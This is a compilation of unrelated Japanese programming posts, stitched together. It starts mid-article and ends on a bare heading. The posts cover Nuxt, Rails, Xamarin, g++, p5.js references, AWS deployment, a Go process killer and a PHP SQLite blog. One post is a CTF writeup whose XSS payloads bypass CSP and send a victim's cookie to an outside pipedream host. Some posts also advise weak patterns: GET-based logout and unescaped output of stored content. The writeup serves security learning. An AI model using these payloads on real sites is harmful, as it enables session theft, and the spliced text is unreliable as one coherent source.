? Choose custom server framework None (Recommended)
# サーバーフレームワークの選択。別でAPIサーバー立てたいので未選択。

? Choose Nuxt.js modules Axios
# 使いたいモジュールの選択。API叩くためにAxios使います。

? Choose linting tools ESLint, Prettier
# リントツールの選択。ESLintとPrettier使います。

? Choose test framework Jest
# テストフレームワークの選択。Jest使います。

? Choose rendering mode Universal (SSR)
# レンダリング方法をSSRかSPAかで選択。SSRにします。

? Choose development tools jsconfig.json (Recommended for VS Code)
# 開発ツールの選択。VS Code使っているのでjsconfig.json作ります。
```
選択が終わると自動でNuxtプロジェクトを作ってくれます。しゅごい。
`$ npm run dev`でNuxtプロジェクトを起動。
http://localhost:3000/ でTopページが表示されます。
【Ruby on Rails】ログアウト後にCouldn't find User with ...になってしまうエラー

# 環境 
macOS 10.15.4
Ruby 2.5
Rails 5.2

# エラー内容
<img width="1440" alt="スクリーンショット 2020-05-24 14.04.16.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/587506/c566deb9-b55f-6475-3302-9bdbda5e5ac4.png">
ログアウト後にログアウト状態にしてトップページに移動するための処理を実装し、いざログアウトを実行してみたら写真のようなエラーがでてしまいました...

コードの記述ミスはないheadのjavascriptの記述に不備もない...だとしたら何がエラーの原因なんだろう...と調べてみると

**sign_outのHttpメソッドがDELETEになっているとGETではできない**という記事を見つけました。

### HttpメソッドをDELETEからGETに変更
config/initializers/devise.rbに移動します。
そしてconfig.sign_out_viaの値をDELETE→GETに編集します。

```
config.sign_out_via = :get
```

この編集後に再度実行したら見事にエラーが直りました^_^
【Xamarin.Forms&Prism入門】ソリューション構成

# はじめに

Xamarin.Formsは共通の画面レイアウト定義およびプログラムでやAndroidアプリとiOSアプリを作成することができるクロスプラットフォーム開発環境です。

VisualStudioでXamarin.Formsソリューションを新規作成した直後のソリューション構成と最初の画面が表示されるまでの動きをみながら、どんな感じで共通の画面レイアウトおよびプログラムでAndroidアプリとiOSアプリが作れるのか**ざっくり**説明します。

タイトルにPrismが入っていますが、今回の記事はほとんどXamarin.Formsの内容です。
なので、Prismに関する内容はその旨記載しておきます。

# ソリューション構成

アプリ名を「XamarinBasic」としてソリューションを作りました。

詳しい作成方法はこちら。
https://qiita.com/ats_y/items/f76098612786b3e9cf4a

ターゲットプラットフォームでAndroidとiOSの両方を選択すると、3つのプロジェクトができます。
<img width="309" alt="スクリーンショット 2020-05-24 7.19.48.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/342629/dc77028b-ade1-3f4a-95fc-00979906e9d5.png">

|プロジェクト名|説明|
|---|---|
|{アプリ名}.Android|Androidアプリを生成するプロジェクト。|
|{アプリ名}.iOS|iOSアプリを生成するプロジェクト。|
|{アプリ名}|ポータブルクラスライブラリ（PCL）プロジェクト。画面レイアウトや処理を定義する。|

実行時には以下の構成でアプリが生成されます。
![プロジェク構成.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/342629/07077c64-a15d-f3bd-90ad-90681c070fe3.png)


# デバッグ実行してみる

Xamarin.Formsの「空白フォームアプリ」テンプレードでソリューションの新規作成すると、PCLのMainPage画面（PCLのMainPage.xaml/.cs）を表示するものができます。
実際に動かして、どのようにMainPage画面が表示されるかみてみます。

## Androidアプリ

Androidプロジェクトをスタートアッププロジェクトに設定します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/342629/9f2f06a5-ee07-6022-06ce-dbe3f833071b.png)

VisualStudioの実行ボタンをクリックするとAndroidエミュレータが起動してアプリが起動し、MainPage画面（PCLのMainPage.xaml/.cs）が表示されます。

<img width="554" alt="スクリーンショット 2020-05-24 13.21.11.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/342629/3baa0347-2fed-409b-af44-762e8809317d.png">

起動からMainPageを表示するまで以下の流れとなっていました。
1. [Androidプロジェクト] MainActivity.OnCreate()
2. [PCLプロジェクト] App.RegisterTypes()　※Prism
3. [PCLプロジェクト] App.OnInitialized()　※Prism

```CS:App.OnInitialized():cs
await NavigationService.NavigateAsync("NavigationPage/MainPage");
```
↑の処理でMainPageを起動しています。※Prism

## iOSアプリ

Androidアプリと同様の手順で今度はiOSプロジェクトをスタートアップに設定して実行します。
iOSシミュレータが起動し、Androidアプリと同様にMainPage画面（PCLのMainPage.xaml/.cs）が表示されます。

<img width="584" alt="スクリーンショット 2020-05-24 13.16.37.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/342629/ecc5e9c5-069c-3cb4-fb09-ae5b5c28821a.png">

起動からMainPageを表示するまでは以下の流れとなっていました。
1. [iOSプロジェクト] Application.Main()
2. [iOSプロジェクト] AppDelegate.FinishedLaunching()
3. [PCLプロジェクト] App.RegisterTypes()　※Prism　Androidプロジェクトと同じ。
4. [PCLプロジェクト] App.OnInitialized()　※Prism　Androidプロジェクトと同じ。

# さいごに
実際に動かすと最初は各OSプロジェクトの処理から実行され、どちらもPCLのAppクラスを起動してMainPageを表示していることがわかりました。

こんな感じで共通の画面レイアウト・プログラムでAndroidアプリとiOSアプリが作れるようになっているよ、というお話でした。
g++３分クイックスタート



g++を使って以下のc++プログラムを実行可能ファイルへ変換しよう

```c++
// hello.cpp file 
#include <iostream> 
int main() 
{ 
    std::cout << "Hello Geek\n"; 
    return 0; 
} 
```

```
$ g++ hello.cpp
```

a.outが生成される。

実行してみる。

```
$ ./a.out
// Hello Geek
```

## -o　オプション
実行可能ファイルに名前を与える。
 g++ -o target_name file_name
コンパイルとリンクを行い、実行可能な、ファイルをtarget_nameの名前で生成する。

```
$ g++ -o main.exe hello.cpp
$ ./main.exe
// Hello Geek
```

## -S オプション
g++ -S file_nameは、アセンブリを生成するのに使用する。

```
$ g++ -S ./hello.cpp
```
hello.sというアセンブリが作成される。

## -c　オプション
オブジェクトファイルを生成するために使用する。

```
$ g++ -c ./hello.cpp
```
hello.oというオブジェクトファイルが生成される。


## 複数ファイルをコンパイル＋リンクする。
-cフラグは、ソースコードをオブジェクトコードへと変換する。
-oフラグは、オブジェクトコードを実行可能ファイルへと変換する。

```
$ g++ -c helloWorld.cpp hello.cpp
```
.cppファイルをオブジェクトファイルへと変換します。hello.o helloWorld.outが生成される。

```
$ g++ -o main.exe helloWorld.o hello.o
```
helloWorld.o hello.oという二つのオブジェクトファイルから実行可能ファイルである main.exeを作成します。

```
$ ./main.exe
// Hello Geek
// Hello World
```

これで、c++プログラムから実行可能ファイルを作成出来る。

## 参考
https://www.geeksforgeeks.org/compiling-with-g-plus-plus/
P5.js 日本語リファレンス(orbitControl)

このページでは[「P5.js 日本語リファレンス」] (https://qiita.com/bit0101/items/91818244dc26c767a0fe) の orbitControl 関数を説明します。

## orbitControl() 

### 説明文

マウスまたはトラックパッドを使用して3Dスケッチの周りを移動できます。左クリックしてドラッグするとカメラの位置がスケッチの原点を中心に回転し、右クリックしてドラッグするとカメラの位置が回転せずにパンし、マウスホイール(スクロール)を使用するとカメラの位置とスケッチの原点との距離が変わります。この関数は、X軸とY軸に沿ったマウスの動きに対する感度を指定するパラメータで呼び出すことができます。パラメータなしでこの関数を呼び出すことは orbitControl(1,1) を呼び出すことと同じです。いずれかの軸の移動方向を逆にするには、感度に負の数を入力します。

### 構文

orbitControl([sensitivityX], [sensitivityY], [sensitivityZ])

### パラメタ

- sensitivityX  
Number：X軸に沿ったマウスの動きに対する感度(オプション)

- sensitivityY  
Number：Y軸に沿ったマウスの動きに対する感度(オプション)

- sensitivityZ  
Number：Z軸に沿ったスクロール動作に対する感度(オプション)


### 例

```javascript
// orbitControl（） の値を変更するとマウスの感度が変わります
function setup() {
  createCanvas(100, 100, WEBGL);
  normalMaterial() ;
}

function draw() {
  background(200);
  orbitControl(5.0, 2.0) ;
  box(30, 50, 20);
}
```

### 実行結果
https://editor.p5js.org/bit0101/sketches/mY5NiE2RH



### 著作権

p5.js was created by Lauren McCarthy and is developed by a community of collaborators, with support from the Processing Foundation and NYU ITP. Identity and graphic design by Jerel Johnson.

### ライセンス

Creative Commons(CC BY-NC-SA 4.0) に従います。
ターミナル入門１

#ターミナルの見た目を変更する
ターミナル→環境設定→プロフィル→プロファイルを選択(Homebrewがおすすめ)→デフォルトを押す
<img width="669" alt="スクリーンショット 2020-05-24 13.56.26.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/581846/57eb69d9-c2b0-1982-d5fa-933e1ed51365.png">
#ターミナルの文字の大きさを変える
文字を大きくする時
⌘キー&シフト&セミコロン(⌘キー&＋)

文字を小さくする時
⌘キー&−キー
#コマンド集
lsコマンド→自分のいる階層にあるファイルやフォルダを表示する
cd パス→指定のパスに移動する
cd ..→一つ上の階層に移動する
pwd→自分のいる場所を確認する
mkdir フォルダ名→指定した名前のフォルダを作成
rm -r フォルダ名→指定のフォルダを削除する
touch ファイル名→指定した名前のファイルを作成
vim ファイル名→ファイルの中身を開く
i→入力を受け付ける
escキー:wq→ファイルを保存してvimを閉じる
cat ファイル名→ファイルの中身を確認
rm ファイル名→指定した名前のファイルを削除

#終わりに
最近になってターミナルの勉強を始めました。これからも面白いコマンドを見つけたら更新して行くのでこれからもよろしくお願いします。
SignInWithAppleに対応する

## SignInWithAppleとは

2019年のWWDCで発表されたAppleが開発した新しい認証方法です。
新規のアプリ申請では対応必須となっており、アップデート申請も7月から対応必須となります。
対応しない場合はリジェクト対象となりますので忘れずに対応しましょう。

## 準備編
### AppleDeveloperでの設定
AppleDeveloperのサイトにアクセスして以下の設定をします。
Certificates, Identifiers & Profiles→Identifiers→対象のアプリ→CapabilitiesからSigninWithAppleにチェック
<img width="1157" alt="_2020-05-19_22.01.29.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/625386/53f458c6-b0a0-5600-f8e8-f0d8eef71813.png">

### Xcodeの設定
次にXcodeのCapabilitiesにSignInWithAppleを下の手順で追加します。
TARGET→Signing&Capabilities→Capabilityを選択してSigninWithAppleを追加
<img width="682" alt="_2020-05-19_22.05.02.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/625386/58031126-d070-7eba-92e2-c644603e4417.png">
<img width="1166" alt="_2020-05-19_22.04.20.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/625386/9fbb94f5-c046-eb0c-4d58-0f32c690fb4b.png">

## 実装編
### ViewControllerの実装
ボタンイベント等で以下の処理を実装して認証画面を表示します。

```swift
let provider = ASAuthorizationAppleIDProvider()
let request = provider.createRequest()
request.requestedScopes = [.email, .fullName]
request.nonce = nonce
let controller = ASAuthorizationController(authorizationRequests: [request])
controller.delegate = self
controller.presentationContextProvider = self
controller.performRequests()
```

### 認証の実装
ログイン画面のViewControllerに`ASAuthorizationControllerDelegate`と`ASAuthorizationControllerPresentationContextProviding`を実装します。

```swift
func authorizationController(controller: ASAuthorizationController, didCompleteWithAuthorization authorization: ASAuthorization) {
	// 認証成功時の処理
}
    
func authorizationController(controller: ASAuthorizationController, didCompleteWithError error: Error) {
	// 認証失敗時の処理
}

func presentationAnchor(for controller: ASAuthorizationController) -> ASPresentationAnchor {
	// コンテンツを表示するWindowを指定
	// UIViewControllerのwindowを指定する
  return self.view.window!
}
```

### 状態監視の実装
AppDelegateの`applicationDidBecomeActive`関数で以下のチェック処理を実装します。

```swift
let provider = ASAuthorizationAppleIDProvider()
    provider.getCredentialState(forUserID: appleId) { state, error in
        switch state {
        // 認証が無効になった場合
        case .revoked, .notFound:
            // サービスのログアウト処理
        default:
            break
        }
    }
}
```

## 実装してみた感想
今回初めて実装してみましたがかなり簡単に実装できて実装もシンプルなのでかなり良い印象でした。
ただ公式ドキュメントが少しわかりにくいのでそのへん改善して欲しいなと思いました。

## 参考サイト
[AppleDeveloper]
(https://developer.apple.com/sign-in-with-apple/get-started/)
[iOSでAppleを使用して認証する]
(https://firebase.google.com/docs/auth/ios/apple)
[全く知らない人のためのSign in with Apple](https://tech.mercari.com/entry/2019/12/11/115331)
P5.js 日本語リファレンス(randomSeed)

このページでは[「P5.js 日本語リファレンス」] (https://qiita.com/bit0101/items/91818244dc26c767a0fe) の randomSeed関数を説明します。

## randomSeed() 

### 説明文

random() のシード値を設定します。

random() のシード値を設定します。デフォルトでは、プログラムが実行されるたびに random() は異なる結果を生成します。実行するたびに同じ結果を生成するには seed に定数を設定します。

### 構文

randomSeed(seed)

### パラメタ

- seed  
Number：シード値

### 例1

```javascript
// 実行する度に同じ動きになります。
let xoff = 0.0;

function setup() {
  createCanvas(200, 200);
  randomSeed(15);
}

function draw() {
  background(204);
  xoff = xoff + 0.01;
  let n = random(xoff) * width;
  line(n, 0, n, height);
}
```
### 実行結果
https://editor.p5js.org/bit0101/sketches/UJzSsSWyv


### 著作権

p5.js was created by Lauren McCarthy and is developed by a community of collaborators, with support from the Processing Foundation and NYU ITP. Identity and graphic design by Jerel Johnson.

### ライセンス

Creative Commons(CC BY-NC-SA 4.0) に従います。
Ruby on Rails Elastic beanstalkへのデプロイ(IAM権限変更編)

#概要
Ruby on Rails で作ったアプリケーションをデプロイ環境の構築をElasticBeanstalk（以下EB）を使用して、最短で行います。
IAM権限変更編・環境構築編・EBデプロイ編で分けます。
あくまで、パッとデプロイすることに重点を置くので、厳しい管理が必要な方の場合はご了承ください。

#目次
[IAM権限変更編]()
[環境構築編](https://qiita.com/TQO/items/797fe2362b05f6021b63)
[EBデプロイ編](https://qiita.com/TQO/items/0dff383e5dfea0fe462d)

#IAM権限変更編
##ユーザーの作成　→　必要な権限の付与
root権限で実行するのはセキュリティ上よろしくないので、適当なuserを作成して以下の権限を振っていきましょう。
・AWSElasticBeanstalkFullAccess
・AmazonRDSDataFullAccess
・AWSCloudFormationFullAccess
・AWSCloud9Administrator（cloud9使用の方）
EBはEC2、S3へのアクセス権限は含まれていますが、RDSへの権限は含まれませんので、追加で権限を振ります。また、cloudformationはEBのデプロイ環境の構築後の管理・運用時に（インフラのver管理とか、全体構成を見るのにデザイナーで見るとか）使うことがありますので、予め割り振っておくことといいかもです。
cloud9を使用してデプロイされる方はAWSCloud9Administratorもふっておきましょう

![1.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/614984/d49f6816-7617-b8db-d906-d3f459883f3f.jpeg)

また後程、AWSのCLI(command line interface)をinstallしてコマンド上でデプロイしていきますので、その際のアクセスキー、シークレットアクセスキーの取得もしておきましょう。
![2.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/614984/58042f15-03d8-e0a7-088d-59679be3604f.jpeg)


[EBの権限範囲についてはこちら](https://docs.aws.amazon.com/ja_jp/elasticbeanstalk/latest/dg/concepts-roles-user.html)

##AWS CLI install方法
[AWSの公式ガイド](https://docs.aws.amazon.com/ja_jp/cli/latest/userguide/install-virtualenv.html)に従います。
ターミナルで以下をコピペするだけです。

```
pip install --user virtualenv
virtualenv ~/cli-ve
source ~/cli-ve/bin/activate
pip install --upgrade awscli
aws --version
deactivate
brew install awsebcli
#eb コマンドが使えることを確認
eb --version
```

#EBのコマンドライン作成・管理
#シークレットキーの入力

```
$aws configure
AWS Access Key ID [****************225N]: #IAMで取得したAccess Keyをコピペ
AWS Secret Access Key [****************ERNe]: #IAMで取得したSecret Access Keyをコピペ
Default region name [ap-northeast-1]: #そのままenterでOK
Default output format [json]: #そのままenterでOK
```

これでEBのデプロイまでの準備が整いました。
お疲れ様です。次回EBのデプロイをやっていきます。

[EBデプロイ編](https://qiita.com/TQO/items/0dff383e5dfea0fe462d)
プロセスをあいまい検索してkillするツールをGoで作った

## はじめに
仕事しているとプロセスをkillすることがたまにあると思います。

大体は`ps`、`awk`、`grep`で必要なプロセスIDを抽出して`kill`コマンドに渡していますが、
ぼくはそれがとても面倒に感じているので、あいまい検索してプロセスをkillしたいなと思って`fk(fuzzy-finder-killer)`ってコマンドを作りました。

![](https://i.imgur.com/Q6ONFRz.gif)

## 導入と使い方
`go get github.com/skanehira/fk`もしくは[releases](https://github.com/skanehira/fk/releases)からバイナリをダウンロードしてください。

使い方は `fk` を実行するだけです。
`fk` を実行するとあいまい検索できる状態になるので、任意の単語を入力して、`CTRL-i`で選択します。
`Enter`で選択済みのプロセスをkillします。

キーバインドは次になります。

| key    | description     |
|--------|-----------------|
| CTRL-i | select/unselect |
| CTRL-j | go to next      |
| CTRL-k | go to prev      |
| CTRL-c | abort           |
| Enter  | kill            |

## 仕組み
あいまい検索のUIは[go-fuzzyfinder](github.com/ktr0731/go-fuzzyfinder)というライブラリを使っています。
こちらのライブラリは`fzf`と似たインターフェイスを持っていてかつとてもシンプルなので、GoでfzfのようなUIを使いたい場合はぜひ使ってみてください。

プロセス一覧は[go-ps](github.com/mitchellh/go-ps)というライブラリを使っています。このライブラリでプロセスIDとコマンド名を取得できるので、それを`go-fuzzyfinder`に渡します。

メインの処理は次の部分になります。

```go
func processes() ([]process, error) {
	var processes []process
	procs, err := ps.Processes()
	if err != nil {
		return nil, err
	}

	for _, p := range procs {
		// skip pid 0
		if p.Pid() == 0 {
			continue
		}
		processes = append(processes, process{
			Pid: p.Pid(),
			Cmd: p.Executable(),
		})
	}

	return processes, nil
}

func main() {
	...
	procs, err := processes()
	if err != nil {
		fmt.Fprintln(os.Stderr, err)
		os.Exit(1)
	}

	idx, err := fuzzyfinder.FindMulti(
		procs,
		func(i int) string {
			return fmt.Sprintf("%d: %s", procs[i].Pid, procs[i].Cmd)
		},
	)
	...

	for _, i := range idx {
		pid, cmd := procs[i].Pid, procs[i].Cmd
		fmt.Println(pid, cmd)

		if err := kill(pid); err != nil {
			fmt.Fprintln(os.Stderr, err)
		}
	}

}
```


## おわり
小さなツールですが、プロセスをkillする面倒さから開放されます。
是非試してみてください
Ruby on Rails Elastic beanstalkへのデプロイ(環境構築編)

#概要
Ruby on Rails で作ったアプリケーションをデプロイ環境の構築をElasticBeanstalk（以下EB）を使用して、最短で行います。
IAM権限変更編・環境構築編・EBデプロイ編で分けます。
あくまで、パッとデプロイすることに重点を置くので、厳しい管理が必要な方の場合はご了承ください。

#目次
[IAM権限変更編]()
[環境構築編]()
[EBデプロイ編](https://qiita.com/TQO/items/0dff383e5dfea0fe462d)

#環境構築編

##開発環境について
Ruby・・・2.6.3
Rails・・・5.0.7.2
Bundler・・・2.1.4以上
OS・・・amazon Linux(cloud9)
Railsは、5.2以降はSECRET_KEYのver管理のために少し面倒だったこと、6.0以上はまだまだ新しく（自分が追いつけていない点もあるのですが）わざわざverを上げるメリットがなかったため、ver5.0.7.2を使用しています。

基本、Linuxなので、Macでも同様の操作ができるかと思います。
ただ、cloud9の無料枠ではrbenv、Rubyのver変更等で容量が必要になり、10GBほど拡張しました。
デプロイできたらすぐたたんでOKですが、実際1か月でも500前後ってところでしょうか。
拡張方法は[こちら](https://docs.aws.amazon.com/ja_jp/cloud9/latest/user-guide/move-environment.html)

##環境構築
1. rbenvのinstall

```
git clone https://github.com/sstephenson/rbenv.git ~/.rbenv
```

2.buildをpluginとして入れる

```
mkdir -p ~/.rbenv/plugins
```

3.ruby-build を~/.rbenvに インストール（clone）する

```
cd ~/.rbenv/plugins
git clone https://github.com/sstephenson/ruby-build.git ~/.rbenv/plugins/ruby-build
```

4.PATH に追加 → .bash_profileにrbenv initを追加 → pathに追加した情報の有効化

```
echo 'export PATH="$HOME/.rbenv/bin:$PATH"' >> ~/.bash_profile
echo 'eval "$(rbenv init -)"' >> ~/.bash_profile
exec $SHELL -l
```
5.rbenvの確認 → インストールできるリストを確認

```
rbenv -v
rbenv install --list
```

6.指定のverを選択(今回は2.6.5)

```
rbenv install 2.6.5
```
7.installしたversionに環境全体globalに設定(他のアプリがある場合はlocalにしてください)

```
rbenv global 2.6.5
```
8.設定したrbenvを再読み込み

```
rbenv rehash
```
9.bundlerのverを指定してinstall

```
gem install bundler -v 2.1.4
```
10.railsのver指定でrails new

```
rails _5.0.7.2_ new myapp
```

11.gemの追記（開発に必要なものここで入れて事前にデプロイの確認を行うと安心できる）
pg, sqlite 1.3.6以上（pgは、herokuにも対応できるように。sqliteはcloud9の場合1.3.6以上を明記する。dotenv-railsは環境変数を使うので今回入れます、。）

```
gem 'sqlite3','~> 1.3.6'
gem 'pg'
gem 'dotenv-rails'
```

12.bundle install 

```ruby:myapp
bundle install --path vendor/bundle
```

13.gem fileに追記, pg, sqlite 1.3.6以上（pgは、herokuにも対応できるように。sqliteはcloud9の場合）

```ruby:Gemfile
gem 'sqlite3','~> 1.3.6'
gem 'pg'
gem "dotenv-rails"
```

14.コア4つで高速install化設定しつつinstall（bundle configに入るため、-j4は今後入力不要）

```ruby:myapp
bundle install -j4
```

15.アプリの動作確認

```ruby:myapp
rails g scaffold message subject body:text
rails db:create
rails db:migrate
rails s
```
ここでrails のlocalserver への接続確認をしておくこと。
お疲れ様でした。

次はIAMでEBの権限を持ったuserを作成していきます。
Root権限でEBを操作するのはよろしくないですし、Rootのアクセスキーを作成するのも、推奨できないので。

[IAM権限変更編](https://qiita.com/TQO/items/1d66a6f986d96bd9cc12)
P5.js 日本語リファレンス(randomGaussian)

このページでは[「P5.js 日本語リファレンス」] (https://qiita.com/bit0101/items/91818244dc26c767a0fe) の randomGaussian関数を説明します。

## randomGaussian() 

### 説明文

ガウスまたは正規分布に適合する乱数を返します。理論的には randomGaussian() が返す可能性のある最小値または最大値はありません。むしろ、平均から離れた値が返される可能性は非常に低いです。平均値に近い数値が返される可能性が高くなります。

引数なし、あるいは1または2つの引数を取ります。
引数がない場合は, 平均0と標準偏差1を返します。
1つの引数の場合、その引数は平均です(標準偏差は1)。
2つの引数がある場合、最初は平均、2番目は標準偏差です。

### 構文

randomGaussian(mean, sd)

### パラメタ

- mean  
Number：平均

- SD  
Number：標準偏差

### 戻り値

Number：乱数

### 例

```javascript
// x = 100 を中心（平均）に乱数を求めます。
function setup(){
  createCanvas(200, 200);
  background(255);
}

function draw(){
  for (let y = 0; y < 200; y++) {
    let x = randomGaussian(100, 20);
    point(x, y)
  }
}
```

### 実行結果
https://editor.p5js.org/bit0101/sketches/zi8POK86z


### 著作権

p5.js was created by Lauren McCarthy and is developed by a community of collaborators, with support from the Processing Foundation and NYU ITP. Identity and graphic design by Jerel Johnson.

### ライセンス

Creative Commons(CC BY-NC-SA 4.0) に従います。
ロリポップでsqliteを使って超簡易的なブログを作る

■使用したレンタルサーバー
ロリポップ ライトプラン（エコノミーでも可能）

■手順

phpliteadminを公式サイトからダウンロードする。

ダウンロードしたファイルを修正する。
phpliteadmin.config.sample.php

このファイルの以下の部分を修正する。
$password = 'admin';
admin部分を好きなパスワードに変更する。

次に、レンタルサーバーにフォルダを作り、
先程ダウンロードしたphpliteadminの内容すべてをアップロードする。

ブラウザからhttp経由でphpliteadmin.phpファイルにアクセスする。
すると、管理画面よりデータベースの操作が可能になる。

ロリポップはpublicフォルダより上にファイルの配置ができないらしい。
なので、publicフォルダ内に配置して、アクセス制限をかければ問題ないかも。

■以下ファイルで、記事一覧が表示可能。

```php:index.php
<?php
$db = new SQLite3('sqlite/blog');
$sql = "SELECT * FROM blog";
$result = $db->query($sql);
while ($row = $result->fetchArray()) {
echo <<< eof
<li><a href="prev.php?id={$row['id']}">{$row['title']}</a> <span style="font-size:12px;">({$row['date']})</span></li>
eof;
}
?>
```

■個別の記事ページはこんな感じ。

```php:prev.php
<?php
$id = intval($_GET['id']);
$db = new SQLite3('sqlite/blog');
$sql = "SELECT * FROM blog where id = {$id}";
$result = $db->query($sql);
while ($row = $result->fetchArray()) {
    $title = $row['title'];
    $date = $row['date'];
    $content = $row['content'];
};
?>

<?php include("meta.php");?>

<title><?php echo $title;?></title>
<?php include("header.php");?>

<h2><?php echo $title;?></h2>
<p><?php echo $content;?></p>
<p>更新日：<?php echo $date;?></p>

<?php include("side.php");?>
<?php include("footer.php");?>
```

■説明
共通部分はincludeで対応した。
GETでidを渡し、sqliteからデータを取得して記事を表示させている。
記事の投稿、編集、削除はphpliteadmin管理画面上から行う。
P5.js 日本語リファレンス(random)

このページでは[「P5.js 日本語リファレンス」] (https://qiita.com/bit0101/items/91818244dc26c767a0fe) の random関数を説明します。

## random() 

### 説明文

ランダムな浮動小数点数を返します。

引数なし、あるいは1または2つの引数を取ります。

引数が指定されていない場合、0から1までの乱数を返します(ただし1は含みません)

1つの引数が指定され、それが数値の場合、0から指定した値までの乱数を返します(ただし、指定値は含みません)

1つの引数が指定され、それが配列の場合、その配列からランダムな要素を返します。

2つの引数が指定された場合、最初の引数から2番目の引数までの乱数を返します。(ただし2番目の引数は含みません)

### 構文

random([min], [max])

random(choices)

### パラメタ

- min  
Number：下限(この値を含む)(オプション)

- max 
Number：上限(この値を含まない)(オプション)

－ choices  
Array：選択する配列

### 戻り値

Number：乱数

### 例1

```javascript
for (let i = 0; i < 100; i++) {
  let r = random(50); // 0から50未満の乱数を取得します
  stroke(r * 5);
  line(50, i, 50 + r, i);
}
```

### 例2

```javascript
for (let i = 0; i < 100; i++) {
  let r = random(-50, 50); // -50 から 50 未満の乱数を取得します
  line(50, i, 50 + r, i);
}
```

### 例3

```javascript
// 配列からランダムに要素を選択します
let words = ['apple',  'bear',  'cat',  'dog'];
let word = random(words); //ランダムな単語を選択します
text(word, 10, 50); //単語を描く
```


### 著作権

p5.js was created by Lauren McCarthy and is developed by a community of collaborators, with support from the Processing Foundation and NYU ITP. Identity and graphic design by Jerel Johnson.

### ライセンス

Creative Commons(CC BY-NC-SA 4.0) に従います。
SECCON Beginners CTF 2020 "Somen" writeup

チーム WaniHackase で参加して13位でした

https://github.com/wani-hackase/wani-writeup/tree/master/2020/05-seccon4b

こちらにチームの writeup が上がっています

## 問題

```
Somen is tasty.

https://somen.quals.beginners.seccon.jp
```

## 解法

CSP nonce + strict-dynamic の XSS 問題

### 問題の設定

- http header にて CSP が設定されている

```
Content-Security-Policy: default-src 'none'; script-src 'nonce-eiiCiTQ9UAZxTQqdJ7s/9dc/BGA=' 'strict-dynamic' 'sha256-nus+LGcHkEgf6BITG7CKrSgUIb1qMexlF8e5Iwx1L2A='
```

- title タグにエスケープ無しで任意コードの挿入が可能

```php
<title>Best somen for <?= isset($_GET["username"]) ? $_GET["username"] : "You" ?></title>
```

- html にて id="message" に任意コードの挿入が可能なインラインスクリプト

```html
<script nonce="eiiCiTQ9UAZxTQqdJ7s/9dc/BGA=">
    const choice = l => l[Math.floor(Math.random() * l.length)];

    window.onload = () => {
        const username = new URL(location).searchParams.get("username");
        const adjective = choice(["Nagashi", "Hiyashi"]);
        if (username !== null)
            document.getElementById("message").innerHTML = `${username}, I recommend ${adjective} somen for you.`;
    }
</script>
```

- security.js

username パラメータをアルファベットと数字のみに制限

```javascript
console.log('!! security.js !!');
const username = new URL(location).searchParams.get("username");
if (username !== null && ! /^[a-zA-Z0-9]*$/.test(username)) {
    document.location = "/error.php";
}
```

### Step 1. security.js の無効化

[Content Security Policy Level 3 における XSS 対策 - pixiv inside](https://inside.pixiv.blog/kobo/5137) に記載の Content exfiltration / Scriptless attack を使います

```
/?username=</title>aaa<img src="https://xxx.x.pipedream.net/?x=
```

とすることで img タグの終了部分が security.js の`</script>`までとなり security.js を無効化することができます

### Step 2. `<script id="message">` による CSP バイパス

CSP の設定により、

- nonce が付与されている

- ハッシュ値が`sha256-nus+LGcHkEgf6BITG7CKrSgUIb1qMexlF8e5Iwx1L2A=`である

Javascript しか実行できないようになっていますが、`strict-dynamic`が設定されていることにより「すでに信頼されている Javascript が生成した Javascript コード」は実行されます

よって CSP nonce によって実行が許可されている

```javascript
document.getElementById("message").innerHTML = `${username}, I recommend ${adjective} somen for you.`;
```

このインラインスクリプトによって生成される Javascript は実行されます

このコードは id="message"となっているタグの中身を書き換えるものであるので`<script id="message">`を事前に挿入しておき、innerHTML によって`<script id="message">`内で Javascript を展開して実行することができます

また`<script id="message">`内で Javascript が展開された時に邪魔になるコードをコメントアウトすると

```
/?username=alert(1)//</title><script id="message"></script><img src="https://xxx.x.pipedream.net/?x=
```

これで`alert(1)`が実行されることになります

### Step 3. cookie の窃取

先程できたコードに document.cookie を窃取するコードを追加すると

```
/?username=import(`//xxx.x.pipedream.net/?${document.cookie}`)//</title><script id="message"></script><img src="https://xxx.x.pipedream.net/?x=
```

これをクローラーに提出すると

```
https://xxx.x.pipedream.net/?flag=ctf4b{1_w0uld_l1k3_70_347_50m3n_b3f0r3_7ry1n6_70_3xpl017}
```

フラグを含んだリクエストが飛んできます

```
ctf4b{1_w0uld_l1k3_70_347_50m3n_b3f0r3_7ry1n6_70_3xpl017}
```
P5.js 日本語リファレンス(subset)

このページでは[「P5.js 日本語リファレンス」] (https://qiita.com/bit0101/items/91818244dc26c767a0fe) の subset関数を説明します。

## subset() 

### 説明文

**<font color="Red">注意： 非推奨</font>**

subset() は非推奨であり、p5の将来のバージョンで削除される予定です。代わりにarray.slice() を使用してください。

既存の配列から要素の配列を抽出します。 list パラメータは要素のコピー元の配列を定義し、start および count パラメータはどの要素を抽出するかを指定します。count が指定されていない場合、要素は配列の最初から最後まで抽出されます。開始を指定するときは、最初の配列要素が0であることを忘れないでください。この関数はコピー元の配列を変更しません。

### 構文

subset(list, start, [count])

### パラメタ

- list  
Array：抽出する配列

- start  
Number：開始する位置

- count  
Number：抽出する値の数(オプション)

### 戻り値

Array：抽出された要素の配列

### 例

```javascript
function setup()  {
  let myArray = [1, 2, 3, 4, 5];
  print(myArray); // [1, 2, 3, 4, 5]

  let sub1 = subset(myArray, 0, 3);
  let sub2 = subset(myArray, 2, 2);
  print(sub1); // [1,2,3]
  print(sub2); // [3,4]
}
```


### 著作権

p5.js was created by Lauren McCarthy and is developed by a community of collaborators, with support from the Processing Foundation and NYU ITP. Identity and graphic design by Jerel Johnson.

### ライセンス

Creative Commons(CC BY-NC-SA 4.0) に従います。
P5.js 日本語リファレンス(splice)

